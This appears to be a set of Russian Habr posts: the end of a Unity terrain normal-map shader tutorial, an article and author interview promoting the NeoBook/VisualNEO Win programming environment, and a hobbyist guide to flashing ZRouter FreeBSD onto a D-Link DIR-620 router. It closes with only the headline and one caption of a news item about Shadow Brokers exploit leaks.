`o.Normal = lerp(fixed3(0.5,0.5,1), n1, clamp(splat_control.r + 0.3,0,1));`
Нормаль — это единичный вектор перпендикулярный к поверхности. И так как нам нужно ее плавно уменьшать, мы не можем просто умножать ее на какой-то коэффициент. Для решения этой задачи я интерполирую текущую нормаль в т.н. «нулевую нормаль», при которой на текстуре не будет никакого рельефа.
Чтобы карта нормалей могла примениться, на мехе должны быть посчитанные тангенсы (вектор перпендикулярный нормали и параллельный поверхности, направленный в сторону увеличения координаты U на развертке). Обычно их считает ПО, в котором разрабатывается модель, но так как ландшафт строится в юнити «на лету», то тангенсов там нет.
Придется посчитать тангенсы внутри шейдера самим:
```
void vert (inout appdata_full v) {
fixed3 T1 = float3(1, 0, 0);
if (dot(T1,v.normal) > 0.99) {
T1 = float3(0,1,0); //workaround
}
fixed3 Bi = cross(T1, v.normal);
fixed3 newTangent = normalize(cross(v.normal, Bi));
v.tangent.xyz = newTangent.xyz;
if (dot(cross(v.normal,newTangent),Bi) < 0)
v.tangent.w = -1.0f;
else
v.tangent.w = 1.0f;
}
```
Шейдер для последующих проходов практически идентичен.
Для тех кто создает ландшафт динамически, не забудьте исправить индексы материалов в коде. Они должны быть умножены на два, т.к. по нечётным индексам лежат нормали.
`materials[x, z, material_number*2] = 1;`
Минусы данного метода:
* Незначительно повышается Draw Calls из-за большего количества проходов шейдера
* Надо следить за тем чтобы не нарисовать на ландшафте неправильным материалом (нормалью)
* Использует более 8 регистров, что делает невозможным компиляцию под Flash
* Использует модель Shader 3.0, что делает невозможной работу на старом железе (из-за 64+ операций)
Кратко, для тех кому лень читать:
* Шейдер рисует ландшафт с картами нормалей и спекулара
* Текстуры на ландшафте должны чередоваться через одну. Диффузка / Нормаль / Диффузка / Нормаль и т. д.
* Спекулар карта хранится в альфа канале диффузки
Результат со стандартной текстурой, и картами снятыми с нее (стало / было):
[Скачать шейдер](http://dl.dropbox.com/u/48301614/Shaders.zip) | https://habr.com/ru/post/144016/ | null | ru | null |
# NeoBook: среда программирования для непрограммистов
NeoBook: среда программирования для непрограммистов
===================================================
Для кого эта статья
-------------------
Статья написана, в первую очередь, для тех, кто не является профессиональным программистом, но хочет уметь создавать свои собственные компьютерные программы для компьютеров с Windows. Программирование сегодня – это универсальная компетенция, которая обязательно пригодится человеку практически в любой профессиональной области и, конечно, для личных целей. Для преподавателей информатики и программирования статья тоже может быть полезна, поскольку в ней речь идёт о NeoBook – визуальной среде программирования в которой можно успешно научиться программированию с нуля и создавать полноценные приложения. Опытные программисты также используют NeoBook вместо профессиональной IDE, когда нужно быстро создать что-то достаточно простое.
Почему я решил написать о NeoBook
---------------------------------
За 10 лет программирования в NeoBook и за 5 лет обучения студентов этой программе я много раз ловил себя на мысли – почему же так мало людей знает о том, что с помощью NeoBook можно самостоятельно создавать функциональные и красивые приложения практически любого назначения? Причем, для обычного уверенного пользователя компьютера освоить NeoBook до уровня создания полезных, красивых и надежных программ – дело одного месяца занятий по полчаса в день (и это справедливо для обычного пользователя персонального компьютера без всякой начальной подготовки в области программирования).
Программирование в NeoBook даёт быстрый ощутимый результат, что чрезвычайно важно при обучении программированию, в особенности, для современной молодежи и для занятых людей. Пришло время исправить эту несправедливость и рассказать о NeoBook всем, кто ещё лишь выбирает свой первый язык программирования – ведь это не просто учебный язык, но и позволяющий писать приложения вполне профессионального уровня для компьютеров с Windows.
Зачем гуманитарию программирование
----------------------------------
Поскольку сам я не являюсь профессиональным программистом (я психолог), то, вероятно, правильнее всего было бы здесь просто поделиться своим опытом и через него приступить к описанию возможностей NeoBook.
Случилось так, что мне потребовалось кое-что компьютеризировать, а конкретно – свою методику диагностики силы мотива (силы желания, стремления…). Прознав про различные конструкторы тестов, я стал перебирать их один за другим и терзать разработчиков письмами, вроде «было бы хорошо добавить ещё такую-то возможность в Вашу замечательную программу».
Как всегда бывает в случае использования готовых конструкторов тестов – то одно, то другое мне не подходило… И мириться с ограничениями никак не хотелось. Наконец, в голову пришла светлая мысль сделать программу самому. Но как? Нанимать специалиста или попробовать полностью самостоятельно?
Избранная для компьютеризации методика очень проста (предъявить вопросы, перемножить баллы полученные в виде ответов и выдать интерпретацию в соответствии с заданным диапазоном), а нанимать программиста – затратно и, в моем случае, неудобно (предполагались существенные обновления программы). Поэтому я решил создать программу самостоятельно и стал читать книги по Delphi, потом Delphi для чайников, потом для школьников, потом для детей… Я бы, наверное, дошел до уровня «Delphi для младенцев», если бы такая книга существовала.
Поскольку базовых знаний в области программирования у меня не было, я не мог отделить важную информацию от второстепенной и толком не мог приступить к практике. Упражнения по кодингу в духе «нарисуй лесенку» вводили меня в состояние тяжелой депрессии. Думаю, что до этого порога дошло порядочное количество неофитов – это тот самый момент, когда хочется опустить руки.
На мое счастье я клюнул на рекламу одного интернет-предпринимателя – он предлагал платные уроки программирования в NeoBook и называл её «программой для создания программ». Так я узнал о NeoBook. В поисках дополнительной информации о ней я набрел на [форум необукеров](http://neobooker.ru/), где меня и научили работе с программой.
Что же можно создать в NeoBook?
-------------------------------
Сначала у меня были сомнения – а возможно ли в NeoBook сделать что-то стоящее, не зря ли я трачу свое время? Но теперь я могу сказать, что за всё время работы с NeoBook я ещё ни разу не столкнулся с реально нужной мне задачей, которую не смог бы решить сам или с помощью сообщества необукеров (среди которых есть и создатели многочисленных функций и плагинов для NeoBook). Для личной и профессиональной жизни я делал:
* интерактивные предметные и психологические тесты, анкеты и опросники;
* стимульный материал для различных научных исследований;
* мультимедийные программы-тренажеры для развития навыков и способностей;
* диагностические комплексы (например, батарею методик с отправкой результатов тестирования мне на электронную почту);
* электронные книги с гиперссылками, закладками и эффектом перелистывания страниц;
* интерактивные меню автозагрузки для DVD и CD дисков;
* иллюстрированные базы данных с форматированным текстом, фильтрами поиска и печатью отчетов;
* защищенный веб-браузер для тестирования студентов (пока студент проходит онлайн тест, он не может открыть ничто другое ни в веб-браузере, ни на компьютере вообще);
* программу мониторинга активности и дистанционного (с телефона) управления компьютером для ребенка (свой родительский контроль);
* удобную базу данных для хранения паролей;
* скриншотер для пожилых родителей (чтобы в один клик из трея могли отправить мне скрин экрана на почту);
* лаунчеры, виджеты, информеры, напоминалки, мультимедийные презентации и многое другое.
При желании можно создать свой собственный простой графический или текстовой редактор (например, личный дневник, оформленный как Вам хочется), программу создания коллажей или визиток, свой органайзер, пополняемый каталог рецептов, мультимедиа плеер или аудио-конвертер в подарок, простой веб-мессенджер или локальный сетевой чат, программы сбора и обработки данных для научных исследований с сохранением результатов в файл (в т.ч. PDF и RTF), программы работы с файлами на веб-сервере, программы видеонаблюдения, можно создать свой плагин для браузера и многое, многое другое.
Для непрограммиста это перечисление полезно тем, что указывает на действительно огромные возможности NeoBook и отвечает на вопрос – стоит ли NeoBook потраченного на ее освоение времени. Для себя я сделал вывод, что ещё как стоит! При этом функционал NeoBook непрерывно расширяется с помощью плагинов и функций, которые активно пишут для NeoBook профессиональные программисты. За что им низкий поклон!
Заглянем в NeoBook
------------------
Вот так выглядит окно NeoBook в режиме редактирования (открыт проект предметного теста к видеолекции «Развитие логики мышления», квадратными точками выделен текстовой объект с вопросом теста):
На скриншоте представлено главное окно русифицированной NeoBook (версии 5.8.7). Кстати, справочный файл также переведен на русский язык, как и большинство плагинов.
NeoBook обладает всеми признаками среды программирования, в ней есть:
* **визуальный конструктор интерфейса** (обеспечивающий проектирование по принципу «что вижу, то и получу» – программа создаётся простым перетаскиванием объектов и в этой части напоминает обычный текстовой или графический редактор; нужный код прописывается в свойствах проекта, в свойствах созданных объектов и страниц для разных доступных событий);
* **редактор кода** (с подсветкой синтаксиса и окном помощника настройки параметров команды; редактор кода доступен в окнах настройки свойств проекта, страниц проекта, а также используемых объектов; код пишется на своём скриптовом языке – можно сказать на очень упрощенном Delphi);
* **интерпретатор** (работает в режиме тестовой компиляции, а также встраивается в конечное приложение при финальной компиляции и делает созданную программу в дальнейшем полностью независимым от NeoBook приложением);
* **отладчик** (с возможностью видеть текущие значения переменных и выполняемые команды, позволяющий управлять скоростью выполнения скрипта и даже с построчным выполнением кода в режиме паузы, что делает отлов ошибок довольно простым занятием).
Основные возможности и ограничения NeoBook
------------------------------------------
Среда программирования NeoBook позволяет создавать простые утилиты и программы с многооконным растягиваемым интерфейсом с окнами любой формы со всеми стандартными объектами (кнопка, список, выпадающий список, чекбокс, радиокнопка, слайдер, изображение, таймер, поле ввода, надпись, текст, многостраничный текст, браузер, контейнер и др.).
Для кодирования доступны разнообразные события (левый клик, правый клик, наведение мыши, уход мыши, перетаскивание, срабатывание таймера, изменение состояния объекта, изменение состояния или размера окна приложения и др.); позволяет использовать в проектах главное, контекстное и трей меню; можно сделать сменяемый на лету интерфейс (язык и скины); доступны различные средства аудио, видео, анимации (GIF, Flash, NeoToon), а также браузер (на основе IE или Chrome), который можно встроить прямо в приложение NeoBook и работать с интернетом через него.
NeoBook даёт возможность взаимодействовать с периферийными устройствами (например, превратить обычную веб-камеру в камеру с датчиком движения), использовать различные интернет и интранет протоколы (HTTP, HTTPS, FTP, TCP, IP, UDP); умеет работать с командной строкой Windows, с целыми папками, архивами (zip, zlib, rar, cab) и с отдельными текстовыми, графическими, мультимедиа, исполняемыми, а также системными и конфигурационными файлами (в том числе BAT, CMD, INI, INF, SCF, CFG, и реестром Windows); может шифровать и хешировать, вызывать другие программы и управлять ими; создавать локальные и глобальные сочетания клавиш (и отправлять их другим приложениям); может скомпилировать автономный, не требующий установки (portable) exe-файл Вашей программы или дополнить Вашу программу инсталлятором.
Из ограничений следует отметить, что NeoBook не поддерживает многопоточность (что в значительной степени компенсируется плагинами, которые могут взять на себя параллельную со скриптом NeoBook работу) и NeoBook не поддерживает динамическое создание объектов (хотя, как правило, можно заранее заготовить необходимое их количество).
Язык NeoBook
------------
Язык NeoBook можно отнести к скриптовым интерпретируемым языкам высокого уровня.
Он состоит из специальных слов – команд. С помощью этих команд можно отдавать компьютеру «приказы». Например, команда AlertBox – это «приказ» показать на экране окно с заголовком, картинкой, текстом сообщения и кнопкой ОК. Правила написания команд называют синтаксисом.
Последовательность команд (где каждая пишется всегда с новой строки) – это код программы, который впоследствии будет выполняться так называемым плеером NeoBook. Будучи встроенным в Вашу программу этот плеер будет считывать код и выполнять (проигрывать) его построчно – команда за командой (при тестовой компиляции этот процесс можно наблюдать в окне отладчика).
Например, если мы напишем команду AlertBox в свойствах кнопки (на событии «левый клик»), то когда пользователь нажмет левой кнопкой мыши по данной экранной кнопке в нашей программе, плеер NeoBook прочитает и выполнит команду – т.е. покажет окно сообщения.
Как именно плеер делает то, что делает необукеру знать не обязательно, а вот список понятных плееру команд необукеру необходим. Конечно же, все команды описаны в Справке к NeoBook и всегда доступны через меню «Команды» в редакторе кода, поэтому команды можно не знать (или не помнить), а просто выбирать из списка доступных. Благо, для каждой команды есть подсказка.
Посмотрим, как выбирать команды на следующем примере.
### Привет, Мир!
Приведу для примера синтаксиса классический пример: «Привет, Мир!». Заодно покажу как выбирать команды в редакторе кода через меню «Команды».
[По этой ссылке](https://drive.google.com/open?id=0B4e5elEzgWvSbVhsWHVuMkh3dDA) доступен видеоролик (1 мин, 2 сек, без озвучания) показывающий весь процесс создания программы с одной единственной кнопкой, клик по которой вызывает окно сообщения с заданным текстом. А в [этом видео](https://youtu.be/fn-ZqqYnwJk) (34 мин, со звуком) предлагается подробнее ознакомиться с NeoBook (с августа 2018-го программа называется VisualNEO Win).
Для вывода на экран монитора простого окна сообщения достаточно одной команды:
```
AlertBox "Тут заголовок окна" "Привет, Мир!!! ))"
```
В первой программе новичка этот код может быть помещен на кнопку, клик по которой в работающей программе должен открыть данное окно приветствия.
Стиль создаваемого по команде AlertBox окна заимствуется из Windows, изображение по умолчанию можно заменить на любое своё (в т.ч. прозрачное и любого размера), как я сделал в этом случае:
Команда AlertBox поддерживает и многострочный текст (перенос строки в редакторе кода указывают спецсимволом – вертикальной чертой). Спецсимволы не обязательно заучивать, поскольку можно редактировать текст сообщения более удобным для непрограммиста способом – через окно помощника настройки параметров команды. Это окно открывается автоматически при выборе команды через меню «Команды» (см. цифру 3 на скриншоте ниже – открыт редактор кода на событии «Left Click» экранной кнопки).
Видно, что команды сгруппированы по разделам («Навигация», «Сообщения/Диалоги», «Мультимедиа» и др.), клик по разделу (цифра 4 на скриншоте ниже) откроет список доступных в этом разделе команд. При этом, если навести мышь на команду из списка (см. цифру 5 на скриншоте), то в специальном желтом поле внизу списка команд отобразится подсказка – назначение команды:
Клик в этом списке по команде AlertBox, как и по любой другой команде имеющей *параметры* (то, что можно настроить или изменить), откроет окно помощника настройки параметров этой команды. Непрограммистам (по крайней мере поначалу) проще вписывать значения параметров в таком окне помощника – он контролирует правильность написания синтаксиса (например, не забудет закрыть кавычки), плюс, в окне помощника новые строки можно делать просто клавишей Enter, как в любом обычном текстовом редакторе:
При нажатии на кнопку «Тест» (на скриншоте выше отмечена цифрой 3) сможем посмотреть как будет выглядеть окно, даже без запуска тестовой компиляции программы:
Окно помощника обеспечивает правильность заполнения параметров команды, и тем существенно облегчает жизнь как новичкам, так и преподавателям. Это окно помощника в редакторе кода можно потом вызвать в любой момент для любой команды имеющей параметры – просто двойным кликом по строке с командой.
В редакторе кода команда AlertBox теперь выглядит так (стрелкой отмечен знак переноса строки – вертикальная черта):
### Присвоение значения переменной
Ещё показательный пример синтаксиса: как задать переменной какое-то значение (т.е. как поместить в ячейку памяти какое-то содержание).
Переменная – это ячейка памяти компьютера имеющая имя. Имя играет роль адреса, по которому можно найти нужную ячейку. Подобно тому, как в ячейку камеры хранения мы можем класть разные вещи, так и в ячейку памяти компьютера можно складывать разное содержимое, при этом имя ячейки остается тем же самым.
Чтобы создать переменную или изменить её значение в NeoBook достаточно команды SetVar.
У этой команды есть два параметра (того, что может меняться) – это «имя переменной» (оно может быть задано и на русском языке, хотя программисты рекомендуют использовать латиницу), и «новое значение» (может быть любого типа – числом, строкой и т.д.). Имя переменной в NeoBook всегда пишется в квадратных скобках.
Командой SetVar мы помещаем в ячейку памяти с таким-то именем такое-то содержимое (цифру, текст, файл или что угодно ещё). Вот так можно поместить в переменную нужную строку текста:
```
SetVar "[ИмяПеременной]" "А тут новое значение (содержимое) переменной"
```
При этом, в NeoBook не требуется, чтобы переменная уже существовала или была заранее объявлена (если переменной нет, то командой SetVar она будет автоматически создана), не нужно выделять память или задавать переменной тип (о типах данных можно не знать вообще, однако, при желании, тип переменной всегда можно задать специальной командой). Всё это существенно упрощает программирование в NeoBook.
Удобно и то, что команда SetVar поддерживает простые математические операции, что позволяет легко создавать различного рода счетчики (например, счетчик правильных ответов в тесте):
```
SetVar "[VsegoBallov]" "10"
SetVar "[VsegoBallov]" "[VsegoBallov]+1"
```
После выполнения этих двух команд переменная [VsegoBallov] будет содержать 11.
А вообще для математических вычислений есть своя команда.
Чтобы очистить переменную достаточно оставить второй параметр команды пустым (присвоить переменной пустоту):
```
SetVar "[VsegoBallov]" ""
```
Редактор кода
-------------
Редактор кода в NeoBook поддерживает автоподсветку синтаксиса. Цвета можно настроить свои, по умолчанию же комментарии к коду начинаются с точки и подсвечиваются серым цветом шрифта, переменные в редакторе кода выделяются красным цветом шрифта, а команды – синим. В качестве примера приведу фрагмент кода на событии «Left Click» на кнопке «Результат» (из предметного теста к видеолекции):
На скриншоте отображено начало скрипта обработки результатов теста. Если бы имя команды где-то было написано с ошибкой, то такая команда вместо синего была бы окрашена в черный цвет.
Во время написания кода окно редактора не обязано быть таким компактным, как показано на скриншоте, можно развернуть его на весь экран используя специальную кнопку на панели инструментов (см. цифру 2, на скриншоте выше) – между кнопкой «Вставить переменную» (см. цифру 1) и меню «Команды» (см. цифру 3). Работать в развёрнутом окне редактора удобно, когда код большой.
### Видео-пример создания приложения в NeoBook
[По этой ссылке](https://drive.google.com/file/d/0B4e5elEzgWvSSnYwNjlFU0syNVU/view?usp=sharing&resourcekey=0-cihtx2DKnewplVgXxYt3RQ) доступен видеоролик (8 мин, 46 сек, без озвучания), в котором можно увидеть весь процесс создания простенького предметного теста с программной обработкой результатов тестирования и выводом сообщения пользователю.
Интервью с создателем
---------------------
Специально для этой статьи мне удалось взять краткое интервью у создателя NeoBook – Дэвида Райлей (David Riley, NeoSoft Corporation, официальный сайт: [neosoftware.com](http://www.neosoftware.com/)). Поскольку город Бенд (штат Орегон, США) находится далеко от Тюмени (города, в котором я живу), я задал свои вопросы по почте, а Дэвид любезно согласился ответить.
*1. Как у вас возникла идея создать NeoBook? Когда и почему вы решили это сделать? Если возможно, расскажите нам немного о себе.*
> *Дэвид:* Я не помню точно, откуда пришла идея NeoBook. В то время людей интересовала новая концепция «цифровых публикаций» или «электронных книг», как их тогда называли (сегодня мы называем их e-books). Это была первоначальная цель NeoBook, поэтому она называется Neo-BOOK. После того, как была выпущена первая версия, мы обнаружили, что большинство людей используют ее как инструмент программирования, а не как средство публикации. Так NeoBook постепенно превратилась из средства публикации книг в платформу разработки для непрограммистов.
>
>
>
> Когда я был моложе, я был одержим программированием, именно этим я и занимался большую часть своего времени. Став старше, я больше не увлекаюсь этим настолько. Я редко программирую, хотя иногда делаю маленькие утилиты для себя и своих друзей.
*2. В каком году вышла первая публичная версия программы? Какой день можно считать днем рождения NeoBook? Вы сохранили ее скриншоты?*
> *Дэвид:* Первая версия NeoBook для DOS 1.0 была выпущена в конце 1993 года. Я думаю, что день рождения приходится где-то на конец ноября или начало декабря. Где-то могут быть снимки экрана, но они, вероятно, на моем старом компьютере с дисководами гибких дисков, поэтому нет простого способа получить их. Я нашел старое печатное руководство с 1994 года, так что оно, видимо, из первой или второй версии NeoBook. Вот скан страницы, которая демонстрирует старый интерфейс программы для DOS:
*3. Что вдохновляло и поддерживало вас при создании и развитии программы?*
> *Дэвид:* Я думаю, что было две вещи. Первая – была искренним желанием сделать что-то, что люди сочли бы полезным. Мы получили много отзывов от пользователей и предложений, которые я собирал в отдельный список. Некоторые предложения были ужасны или неосуществимы, но многие были действительно хороши. Я поработал над списком предложений и реализовал как можно больше хороших. Другая вещь, которая мотивировала меня, была необходимость зарабатывать деньги, чтобы содержать себя и сотрудников, которые у меня были в то время.
*4. Вы написали программу полностью самостоятельно?*
> *Дэвид:* Я фактически делал большую часть программы NeoBook самостоятельно. Как и в большинстве крупных приложений, я использовал много библиотек, как коммерческих, так и общедоступных. Я не знаю как разделить код, который я написал с нуля, и код, полученный из библиотек и других источников.
*5. Планируете ли вы принять участие в разработке программы с Луисом под новым брендом программы (VisualNEO Win)?*
> *Дэвид:* Я помогал немного, но я не планирую участвовать в каком-либо крупном развитии в будущем.
*6. Что бы вы хотели сказать поклонникам NeoBook?*
> *Дэвид:* Спасибо за вашу поддержку. Мне жаль, что я не смог продолжать в том же духе, но я думаю, что Луис вдохнет новую жизнь в NeoBook.
*Дэвид, большое Вам спасибо!*
Новая жизнь
-----------
С 1 сентября 2018 года NeoBook передана для дальнейшего развития испанскому программисту Луису Эрнандесу Пенья (Luis Hernández Peña, SinLios Soluciones Digitales, Becerril De La Sierra, Spain) и NeoBook называется теперь VisualNEO Win (официальный сайт программы: [visualneo.com](https://visualneo.com/)). На момент публикации статьи функционал VisualNEO Win ничем не отличается от NeoBook 5.8.7 Professional (это последняя версия под старым названием), поэтому до существенного обновления можете рассматривать эти программы как одно и то же.
С 2014 года я преподаю программирование в среде NeoBook для магистрантов-психологов (как часть курса «Инновационные и коммуникационные технологии в деятельности психолога», а с 2016 года веду семестровый электив «Основы программирования для гуманитариев», целиком построенный на NeoBook, для бакалавров всех специальностей Тюменского государственного университета. В 2016-м году мне удалось выиграть [грант В. Потанина](http://stipendia.ru/media/2017/08/23/1268869539/%D0%BF%D0%BE%D0%B1%D0%B5%D0%B4%D0%B8%D1%82%D0%B5%D0%BB%D0%B8%20%D0%93%D1%80%D0%B0%D0%BD%D1%82%D0%BE%D0%B2%D1%8B%D0%B9%20%D0%BA%D0%BE%D0%BD%D0%BA%D1%83%D1%80%D1%81_97.pdf) на создание онлайн-курса [«Быстрое программирование с нуля для гуманитариев»](https://distant.orgpsiholog.ru/course/view.php?id=20) (сделал его на открытой платформе [Moodle](https://moodle.org/)) и теперь программированию в NeoBook / VisualNEO Win могут совершенно бесплатно и в любое время учиться все, кто пожелает. В этом курсе полностью представлено всё содержание ранее написанных мною учебника и практикума по NeoBook.
Курс рассчитан на 15-30 часов самостоятельных занятий (для всех пользователей персональных компьютеров от 14 лет, без начальной подготовки в области программирования) и позволяет освоить NeoBook всего за месяц (если заниматься по 30-60 минут в день) до уровня самостоятельного создания полезных, надежных и красивых программ начального и среднего уровня сложности. Теоретическая часть курса представлена лекциями, а практическая – пошаговыми инструкциями (со скриншотами и краткими видео), позволяющими создать простую и завершенную программу.
Последовательность создаваемых по инструкции проектов подобрана так, чтобы сразу на практике познакомить необукера со всеми основными возможностями среды программирования NeoBook, одновременно предлагая ему варианты ответа на вопрос «зачем мне учиться программированию?».
Информация для программистов
----------------------------
NeoBook позволяет использовать внешние DLL, локальные и глобальные переменные; поддерживает работу с массивами, развитыми логическими операторами, регулярными выражениями, рекурсией; позволяет оформлять код в подпрограммы и функции (в т.ч. созданные на других языках программирования: VBScript и JScript, а с помощью специальных плагинов ещё на языках PHP, PdScript, AutoIt, Ruby, newLISP и Lua); есть возможности вызова функций WinAPI. Программисты Delphi, Visual Basic, C++, С#, VB.NET (и любой другой программной среды с поддержкой элементов управления ActiveX) могут встраивать скомпилированные в NeoBook приложения в свои программные продукты. Отдельно следует подчеркнуть, что функционал NeoBook почти неограниченно расширяем с помощью плагинов: программисты, поддерживающие развитие NeoBook, создают новые плагины на самые разные темы (SDK есть для Delphi, C++ и PowerBasic). Например, с помощью плагина NeoBookDBPro (который использует ODBC и технологию ADO) проект NeoBook может работать с множеством форматов баз данных: Microsoft Access, MySQL, SQLite, Microsoft SQL Server, Oracle, PostgreSQL, Paradox, dBase и др.
Заключение
----------
В завершение хочу подчеркнуть, что сочетание простоты освоения и больших возможностей делает NeoBook (теперь VisualNEO Win) очень эффективным инструментом как создания программ, так и обучения программированию. В первую очередь – для молодежи и гуманитариев, при обучении которых традиционно возникает множество проблем.
В NeoBook можно создавать компьютерные программы вполне профессионального уровня, а можно делать прототипы программ или интерфейсов. NeoBook может с успехом использоваться и как первый язык программирования для изучения (начиная с 11-14 лет), и как полноценная среда разработки приложений для людей, работающих в любой профессиональной области и желающих автоматизировать выполнение каких-либо задач.
Если же в какой-то момент функционала NeoBook станет мало (например, если потребуется делать веб-приложения, работающие на сайте), то после NeoBook будет уже «делом техники» изучить любой другой язык программирования, поскольку к этому моменту будет освоено самое сложное умение – «думать как программист». Именно поэтому я считаю, что NeoBook не снижает порог вхождения в мир программирования, а снимает его фактически полностью.
Ссылки
------
1. Бесплатный онлайн курс, посвященный программированию в NeoBook / VisualNEO Win: <https://distant.orgpsiholog.ru/course/view.php?id=20>
2. Официальный сайт VisualNeo Win: [https://visualneo.com](https://visualneo.com/)
3. Форум «Русский дом для NeoBook»: [http://neobooker.ru](http://neobooker.ru/)
4. Лёвкин В.Е. NeoBook. Быстрое программирование с нуля для гуманитариев: учебник / В.Е. Лёвкин. — М.; Берлин: Директ-Медиа, 2016. — 218 с. ISBN 978-5-4475-8750-5; То же [Электронный ресурс]. — URL: <https://www.directmedia.ru/book_450198_NeoBook_byistroe_programmirovanie_s_nulya_dlya_gumanitariev/>
5. Лёвкин В.Е. NeoBook. Практикум по быстрому программированию с нуля: учебное пособие / В.Е. Лёвкин – Москва; Берлин: Директ-Медиа, 2018. – 190 с. ISBN 978-5-4475-9464-0; То же [Электронный ресурс]. — URL: <https://www.directmedia.ru/book_486254_NeoBook_praktikum_po_byistromu_programmirovaniyu_s_nulya/> | https://habr.com/ru/post/451346/ | null | ru | null |
# ZRouter — пихаем FreeBSD в роутер DLINK
Пару недель назад
Я бегал по хабру как угорелый в поисках рецепта (как оживить умерший роутер DIR-620).
Основная проблема была в том что родная прошивка 620-ки не принимала модем Verizon U175. И после нескольких прошивок DDWRT я наконец-то нашел ту самую которая и угробила его превратив в ~~овощ~~тупой свич.
А вот что произошло дальше читайте под катом
Походы к местным специалистам не увенчались успехом, одни пробовали подключиться к консольке но не получилось, они же рекомендовали перешить на программаторе сам чип, другие говорили, что бобик умер окончательно. Но всё таки жалко было расставаться со своими кровными 50дол. И я заказал в одном из интернет магазинов (это опять же целая история) кабель DCA-510 и перепаял его под свои нужды.
Дальше, воспользовавшись наглядным [пособием](http://habrahabr.ru/blogs/DIY/123699/) и схемой: 
и сделал себе доступ к U-boot-у.
После этого мне удалось установить на него DD-WRT от ASUS rt-n13u который я и установил в первый раз. Но в этот раз у меня уже была консолька и желание поэкспериментировать с FreeBSD.
FreeBSD — начало.
Сначала я надыбал на просторах интернета [Вики](http://wiki.freebsd.org/FreeBSD/mips/RT3052F) в котором делалась компиляция ядра БЗДи какраз под этот чип. Скомпилил попробовал, ну какбы запускается и чето ищет по bootp.
Но дальнейшие поиски привели меня на сайт [zrouter.org](http://zrouter.org/) На котором мне и посчастливилось скачать ту самую прошивку о которой и пойдет речь.
Для начала следуя [советам](http://zrouter.org/projects/zrouter/wiki/QuickStart) сайта делаем по пунктам:
* Качаем zrouter ( **hg clone [zrouter.org/hg/zrouter](http://zrouter.org/hg/zrouter/)** )
* Качаем свежую сборку FreeBSD ( **hg clone [zrouter.org/hg/FreeBSD/head](http://zrouter.org/hg/FreeBSD/head)** )
Далее, я создал файлик start.sh:
`#!/bin/sh
export FREEBSD_SRC_TREE=/usr/home/zrouter/head/head
export OBJ_DIR=/home/zrouter/obj
exec ./menu.sh`
просто для удобства запуска через **screen**
Далее в лучших традициях FreeBSD появляется текстовый интерфейс
С выбором параметров платформы, и сборки
для DIR-620 выбрал соответственно Device -> DIR-620, Target -> zImage
Пока что не рекомендую пользоватся пунктами Save\Load так как из-за них у меня сборка не доходила до конца вываливаясь с ошибкой:
`==> building zrouter !!!
"Makefile.inc1", line 139: Unknown target mipsel:mips.
"Makefile", line 280: warning: "(MAKEOBJDIRPREFIX=/usr/obj//usr/home/andriyj/zrouter/zrouter/tmp/ make TARGET=mips TARGET_ARCH=mipsel TARGET_CPUARCH=mips ZROUTER_ROOT=/usr/home/andriyj/zrouter/zrouter WITHOUT_ASSERT_DEBUG=yes WITHOUT_ATM=yes WITHOUT_CLANG=yes WITHOUT_INFO=yes WITHOUT_INSTALLLIB=yes WITHOUT_IPX=yes WITHOUT_LOCALES=yes WITHOUT_MAN=yes WITHOUT_NLS=yes WITHOUT_PROFILE=yes WITHOUT_RESCUE=yes WITHOUT_SSP=yes -DNO_CLEAN WITHOUT_JAIL=yes WITHOUT_INET6=yes WITHOUT_INET6_SUPPORT=yes WITHOUT_MAN=yes WITHOUT_INFO=yes WITHOUT_NLS=yes WITHOUT_CDDL=yes WITHOUT_NIS=yes WITHOUT_BLUETOOTH=yes NOENABLE_WIDEC=yes -DNOENABLE_WIDEC WITHOUT_KERBEROS=yes WITHOUT_KERBEROS_SUPPORT=yes -C /usr/src buildenvvars)" returned non-zero status
"Makefile", line 288: Need an operator
"Makefile", line 288: Need an operator
"Makefile", line 288: Need an operator
"Makefile", line 288: Need an operator
"Makefile", line 288: Need an operator
"Makefile", line 288: Need an operator
"Makefile", line 288: Need an operator
make: fatal errors encountered -- cannot continue`
Жмем на Build и ждем создания образа.
Далее поднимаем tftp и пробуем загрузится.
#### Прошивка
Так как у меня на роутере уже стоял DDWRT и не очень то хотелось его сносить то для начала воспользовался пунктом 4 U-boot с последующим tftp test.bin и bootm но таким образом не хотело грузится запакованное ядро ( выдавало ошибку при проверке lzma ). Тогда, следуя советам найденным на просторах [www.dd-wrt.com](http://www.dd-wrt.com/) попробовал грузится по пункту 1. И загрузка пакованного ядра пошла. Но упорно не виделся rootfs.
Набравшись наглости я написал прямо разработчику: [Олександру Рыбалко](http://www.facebook.com/arybalko). В разговоре и пробах с которым мы провели следующие несколько часов (точнее где-то 3 дня но работали по вечерам максимум по 1-2 часа).
В итоге выяснилось что ядро ZRouter ищет rootfs по адресу во флэш-памяти а не RAM. Прошив роутер по пункту 2 U-boot я наконец-то получил вожделенный FreeBSD.
#### Настройка
Веб-Интерфейс получился очень даже несложным, я бы даже сказал — спартанским
В настройках обнаружились как и подобает: DHCP, PPTP, PPPoE, 3G, Wifi(временно неработающий).
Собственно их настройка одинакова для любых подобных вещей независимо от прошивки и производителя.
Стоит заметить однако что кнопка Update не сохраняет данные. Это делает кнопка Save settings в главном меню.
Дальше настройка 3G modem-a (пришлось изменить только ссылку на девайс /dev/cuaU0.0), сохранение параметров (обязательно), перезагрузка (обязательно).
Модем поднялся на УРА.
#### Итоги, грабли на которые не обязательно наступать
Итоги
1. Прошивка работает (собственно через нее сейчас и интернет по которому пишу сюда)
2. Есть проблемы с Wifi ( по заявлениям разработчика она рабочая где-то на 60%, но в браузере пока не настраивается)
3. 3G модемы определяются на ура (по крайней мере из испробованных прошивок Dlink original, DDWRT, ZRouter только последний нормально определил мой Verizon U175
Грабли:
1. Обязательно используйте свежее ядро из репозиториев ZRouter
2. Обязательно прошивайте а не пробуйте запускать из RAM
3. Update не записывает данные поэтому надо принудительно записывать все через меню.
P.S.
Приношу благодарность за работающий роутер:
— [www.facebook.com/arybalko](http://www.facebook.com/arybalko)
— Колективу [zrouter.org](http://zrouter.org/)
— Собеседникам из канала #zrouter на IRC EFNet
UPD: Для желающих поддержать проэкт
Кошельки:
— Z105679867090
— U364832937482
— R959084523149
— E366383023429 | https://habr.com/ru/post/129451/ | null | ru | null |
# Группа The Shadow Brokers опубликовала новые эксплойты АНБ
*EASYSTREET (rpc.cmsd): удалённый рут для Solaris, один из опубликованных эксплойтов*
